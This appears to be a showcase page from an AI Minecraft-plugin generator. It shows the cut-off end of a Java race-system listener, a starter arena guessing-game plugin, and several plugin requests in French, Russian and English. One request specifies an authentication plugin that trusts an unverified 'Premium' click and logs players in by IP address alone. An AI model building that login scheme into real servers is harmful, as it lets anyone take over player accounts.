} @EventHandler public void onEnvironmentalDamage(EntityDamageEvent event) { if (!(event.getEntity() instanceof Player player)) return; PlayerData data = getPlayerData(player.getUniqueId()); if (data.getRace() == null) return; EntityDamageEvent.DamageCause cause = event.getCause(); if ((data.getRace() == Race.ANGEL || (data.getRace() == Race.IMPERIAL && data.getImperialTier() == 5)) && cause == EntityDamageEvent.DamageCause.FALL) { event.setCancelled(true); } if (data.getRace() == Race.IMPERIAL) { int tier = data.getImperialTier(); if (tier == 2 && (cause == EntityDamageEvent.DamageCause.FIRE || cause == EntityDamageEvent.DamageCause.LAVA || cause == EntityDamageEvent.DamageCause.FIRE_TICK)) event.setDamage(event.getDamage() * 0.3); if (tier >= 3 && (cause == EntityDamageEvent.DamageCause.FIRE || cause == EntityDamageEvent.DamageCause.LAVA || cause == EntityDamageEvent.DamageCause.FIRE_TICK)) event.setCancelled(true); if (tier == 5 && cause == EntityDamageEvent.DamageCause.MELTING) event.setCancelled(true); } } @EventHandler public void onEntityTarget(EntityTargetEvent event) { if (currentGlobalImperialUUID != null && event.getTarget() instanceof Player && getPlayerData(event.getTarget().getUniqueId()).getRace() == Race.IMPERIAL && getPlayerData(event.getTarget().getUniqueId()).getImperialTier() == 5) { if (event.getReason() != EntityTargetEvent.TargetReason.TARGET_ATTACKED_ENTITY) event.setCancelled(true); } } @EventHandler public void onImperialProvoke(EntityDamageByEntityEvent event) { if (event.getEntity() instanceof Player && getPlayerData(event.getEntity().getUniqueId()).getRace() == Race.IMPERIAL && getPlayerData(event.getEntity().getUniqueId()).getImperialTier() == 5 && event.getDamager() instanceof LivingEntity) { event.getEntity().getNearbyEntities(40, 40, 40).stream().filter(e -> e instanceof org.bukkit.entity.Mob && e != event.getDamager()).forEach(e -> ((org.bukkit.entity.Mob) e).setTarget((LivingEntity) event.getDamager())); } } @EventHandler public void onJoin(PlayerJoinEvent event) { applyPermanentAttributes(event.getPlayer(), getPlayerData(event.getPlayer().getUniqueId())); } @EventHandler public void onQuit(PlayerQuitEvent event) { savePluginData(); } }
OBJECTIF Créer un système de races/teams jouables. Chaque joueur possède UNE race. La race donne : des bonus, des capacités spéciales, une taille différente, parfois des items infinis, parfois des comportements spéciaux. Le plugin doit être stable en multijoueur et sans duplication/glitch. TECHNIQUE Java 21 PaperMC 1.21+ Maven ou Gradle Architecture orientée objet Code modulaire Pas de code spaghetti Utiliser managers/services/listeners séparés Sauvegarde persistante YAML ou SQLite Compatible reload serveur Optimisé pour plusieurs dizaines de joueurs SYSTEME DE RACES Le joueur peut : choisir une race via GUI ou être assigné par un admin Créer : /race choose /race set <joueur> <race> /race get <joueur> /race list Permissions : race.admin race.choose TAILLE DES JOUEURS Le plugin doit modifier : la taille VISUELLE, la hitbox, la hauteur ca
создавать 10 арен (логика заготовка) выделять зоны (через 2 точки как WorldEdit-стик) хранить secretZone и guessZone по arenaId ставить блоки только из whitelist (6 блоков) считать совпадения показывать результат через Title Это будет база, которую ты потом расширишь до Bedwars-стиля системы. 📦 Структура проекта src/ └ main/ ├ java/ │ └ me/finn/guess/ │ ├ Main.java │ ├ ArenaManager.java │ ├ SelectionToolListener.java │ ├ GameListener.java │ └ Arena.java └ resources/ └ plugin.yml ⚙️ plugin.yml name: GuessGame version: 1.0 main: me.finn.guess.Main api-version: 1.20 commands: guess: description: Guess game commands 🚀 Main.java package me.finn.guess; import org.bukkit.plugin.java.JavaPlugin; public class Main extends JavaPlugin { private ArenaManager arenaManager; @Override public void onEnable() { arenaManager = new ArenaManager(this); getServer().getPluginManager().registerEvents(new SelectionToolListener(arenaManager), this); getServer().getPluginManager().registerEvents(new GameListener(arenaManager), this); getCommand("guess").setExecutor((sender, command, label, args) -> { sender.sendMessage("GuessGame работает"); return true; }); getLogger().info("GuessGame enabled"); } public ArenaManager getArenaManager() { return arenaManager; } } 🧠 Arena.java package me.finn.guess; import org.bukkit.Location; import org.bukkit.Material; import java.util.ArrayList; import java.util.List; public class Arena { public int id; public Location secretPos1; public Location secretPos2; public Location guessPos1; public Location guessPos2; public List<Material> secret = new ArrayList<>(); public Arena(int id) { this.id = id; } } 🗂 ArenaManager.java package me.finn.guess; import java.util.HashMap; import java.util.Map; public class ArenaManager { private final Map<Integer, Arena> arenas = new HashMap<>(); private final Main plugin; public ArenaManager(Main plugin) { this.plugin = plugin; for (int i = 1; i <= 10; i++) { arenas.put(i, new Arena(i)); } } public Arena getArena(int id) { return arenas.get(id); } } 🪄 SelectionToolListener.java (палка как WorldEdit) package me.finn.guess; import org.bukkit.Location; import org.bukkit.Material; import org.bukkit.entity.Player; import org.bukkit.event.Listener; import org.bukkit.event.player.PlayerInteractEvent; import org.bukkit.inventory.ItemStack; public class SelectionToolListener implements Listener { private final ArenaManager manager; public SelectionToolListener(ArenaManager manager) { this.manager = manager; } @org.bukkit.event.EventHandler public void onClick(PlayerInteractEvent e) { Player p = e.getPlayer(); ItemStack item = p.getInventory().getItemInMainHand(); if (item == null || item.getType() != Material.BLAZE_ROD) return; int arenaId = 1; // пока фикс, потом сделаешь через команды Arena arena = manager.getArena(arenaId); Location loc = p.getTargetBlockExact(5).getLocation(); if (e.getAction().name().contains("LEFT_CLICK")) { arena.secretPos1 = loc; p.sendMessage("secretPos1 set"); } if (e.getAction().name().contains("RIGHT_CLICK")) { arena.secretPos2 = loc; p.sendMessage("secretPos2 set"); } } } 🎮 GameListener.java (ставка + проверка) package me.finn.guess; import org.bukkit.Material; import org.bukkit.block.Block; import org.bukkit.entity.Player; import org.bukkit.event.Listener; import org.bukkit.event.block.BlockPlaceEvent; import java.util.Arrays; import java.util.List; public class GameListener implements Listener { private final ArenaManager manager; private final List<Material> whitelist = Arrays.asList( Material.RED_CONCRETE, Material.BLUE_CONCRETE, Material.GREEN_CONCRETE, Material.YELLOW_CONCRETE, Material.BLACK_CONCRETE, Material.WHITE_CONCRETE ); public GameListener(ArenaManager manager) { this.manager = manager; } @org.bukkit.event.EventHandler public void onPlace(BlockPlaceEvent e) { Player p = e.getPlayer(); Block b = e.getBlock(); if (!whitelist.contains(b.getType())) { e.setCancelled(true); p.sendMessage("Можно ставить только разрешённые блоки"); } } } 🧪 Дальше (самое важное - логика проверки) Добавь метод в ArenaManager: public int check(Arena arena, List<Material> guess) { int correct = 0; for (int i = 0; i < guess.size(); i++) { if (arena.secret.get(i) == guess.get(i)) { correct++; } } return correct; } 📢 Title вывод player.sendTitle( "§aВерно: " + correct, "", 10, 60, 10 ); ⚠️ Важно Это НЕ финальная версия, а: 👉 рабочий фундамент системы арен 👉 дальше ты добавишь: комнаты как в Bedwars телепорт игроков сбор guess из зоны reset арены UI/голограммы 💡 Если хочешь следующий шаг Я могу тебе дальше сделать: 1. Полный Bedwars-style room system авто-распределение арен очередь игроков старт/конец матча 2. Сбор блоков из зоны (как ты задумал) игрок ставит 4 блока плагин читает кубоид проверка автоматически 3. Команды типа: /guess createarena 1 /guess wand /guess set secret 1 /guess start
i am remaking GodfallSMP from zero. do NOT make disconnected systems. design the plugin as one complete gameplay loop. GOAL: players should always have something to do: progress → fight → unlock → craft → raid → evolve → repeat. FIRST JOIN → random permanent god → introduction title → starter passive → unlock /godtask EARLY GAME → complete easy tasks → reach level 2 → unlock first active ability MID GAME → unlock stronger abilities → gather materials → craft divine weapon LATE GAME → fight bosses → unlock evolution → compete for crown ENDGAME → wars → relic hunting → secret evolutions → legendary items players randomly receive: * thunder * nether * ocean * shadow * nature cannot reroll. every god has: * passive * active * ultimate * weakness * divine weapon * evolution tasks MUST guide progression. 10 tasks minimum for EACH god. LEVEL 1 → easy LEVEL 2 → medium LEVEL 3 → difficult LEVEL 4 → expert LEVEL 5 → legendary THUNDER: survive rain survive thunderstorm kill mobs in storm strike mobs travel in storm kill charged creeper win pvp in storm use thunder ability kill boss survive blood moon NETHER: enter nether survive lava kill blazes mine debris use fire ability kill with fire explore fortress defeat nether boss collect relic infernal trial OCEAN: stay underwater kill drowned swim distance use water ability find monument catch fish kill guardian find relic ocean boss abyss challenge SHADOW: survive night kill in darkness stay unseen use shadow ability teleport often avoid sunlight win night pvp steal relic shadow boss dark ritual NATURE: grow crops tame mobs heal allies survive forest use nature ability plant trees explore jungle protect shrine kill corruption guardian challenge task completion: → popup → sound → progress animation → reward LEVEL 1 starter passive LEVEL 2 first active LEVEL 3 unlock weapon recipe LEVEL 4 ultimate ability LEVEL 5 true god form obtain through crafting only. LEVEL 3 unlock. thunder → thunder hammer nether → infernal blade ocean → abyss trident shadow → shadow dagger nature → nature staff weapon recipes: common: minecraft materials rare: nether star ancient debris legendary: boss drops relic fragments divine crystals weapons: * custom texture * particles * abilities * upgrades secret thunder endgame. requirements: * thunder god * level 5 * complete all thunder tasks * own thunder hammer * kill titan of storms then: hammer evolves into stormbreaker. only ONE crown exists. obtain: * rare event * boss * admin effects: * mana regen * extra hearts * aura NO COORD REVEAL. instead: every 30 min: announce presence only. death: drops crown. /bounty player amount remove diamonds instantly. kill target: reward. expire: refund. make UI above hotbar. show: ability icons mana cooldowns selected ability style like RPG/MMO. blood moon divine eclipse meteor shower corruption storm events: spawn bosses drop rare materials cause pvp titan of storms leviathan infernal beast void reaper drop: relics weapon materials crown chance players should always ask: what task next? what ability next? how do i evolve? who has the crown? who do we hunt? who becomes strongest?
Développe un plugin Minecraft premium pour Paper/Spigot 1.20+ en Java 21 permettant de gérer un système complet de grades et permissions directement en jeu, sans dépendance obligatoire à LuckPerms. Le plugin doit permettre : La création, suppression et modification de grades/rangs via commandes en jeu. L'ajout et la suppression de permissions directement depuis le serveur. L'attribution de grades aux joueurs. La gestion des préfixes, suffixes, couleurs et priorités des grades. L'affichage automatique des grades : dans le chat, dans le TAB, devant le pseudo des joueurs. Le tri des joueurs dans le TAB selon le poids/priorité du grade. La prise en charge des couleurs HEX et MiniMessage. Une mise à jour instantanée des grades sans redémarrage serveur. Une sauvegarde propre et optimisée (YAML ou SQLite). Une architecture modulaire, propre et maintenable. Une API interne pour permettre à d'autres plugins d'interagir avec le système de grades. Une optimisation adaptée aux gros serveurs. Le format du chat doit être : [Grade] Pseudo : message Exemple : [Admin] Notch : Bonjour Commandes demandées : /grade create <nom> /grade delete <nom> /grade setprefix <grade> <prefix> /grade setsuffix <grade> <suffix> /grade addperm <grade> <permission> /grade removeperm <grade> <permission> /grade setweight <grade> <poids> /grade setcolor <grade> <couleur> /grade set <joueur> <grade> /grade info <grade> /grade list Contraintes techniques : Java 21 API Paper récente Utilisation d'Adventure API et MiniMessage Gestion correcte des événements async Code propre, commenté et professionnel Aucune architecture "spaghetti" Compatible avec futures extensions SQL/Redis Bonus souhaités : GUI d'administration des grades Héritage de grades Permissions temporaires Import/export LuckPerms Cache mémoire optimisé Je veux un résultat digne d'un plugin premium avec : le code source complet, une structure de projet propre, les fichiers plugin.yml et config.yml, une compilation Gradle ou Maven prête à l'emploi, des explications importantes sur l'architecture du plugin.
Act as a Minecraft plugin developer. I need a simple authentication plugin for Spigot/Paper 1.21. Here is exactly what it needs to do: 1. Commands: Short commands for cracked players: /reg [password] and /log [password]. 2. Freeze on Join: When a player joins, they cannot move, look around, click, or type anything until they log in or choose their account type. 3. Premium vs Cracked GUI: As soon as they join, open a chest menu (GUI) on their screen with 2 blocks: - Green block: "I am a Premium user". If clicked, they are automatically logged in forever and never have to type passwords. - Red block: "I am a Cracked user". If clicked, the menu closes and they must type /reg [password]. 4. Auto-Login: If a registered player leaves and rejoins from the exact same IP address, log them in automatically so they don't have to type /log every time. Please write the full Java code in the simplest way possible.
Des centaines de créateurs transforment leurs idées en plugins.
plugins Minecraft générés et compilés
créateurs actifs sur la plateforme
de réussite au build dès la première tentative
9 mois de développement, hébergé en France 🇫🇷
Plugins Minecraft propulsés par l’IA. Du prompt au .jar, en quelques secondes.
Nous utilisons Google Analytics, Microsoft Clarity et Reddit Pixel pour analyser l'utilisation du site et améliorer votre expérience. En savoir plus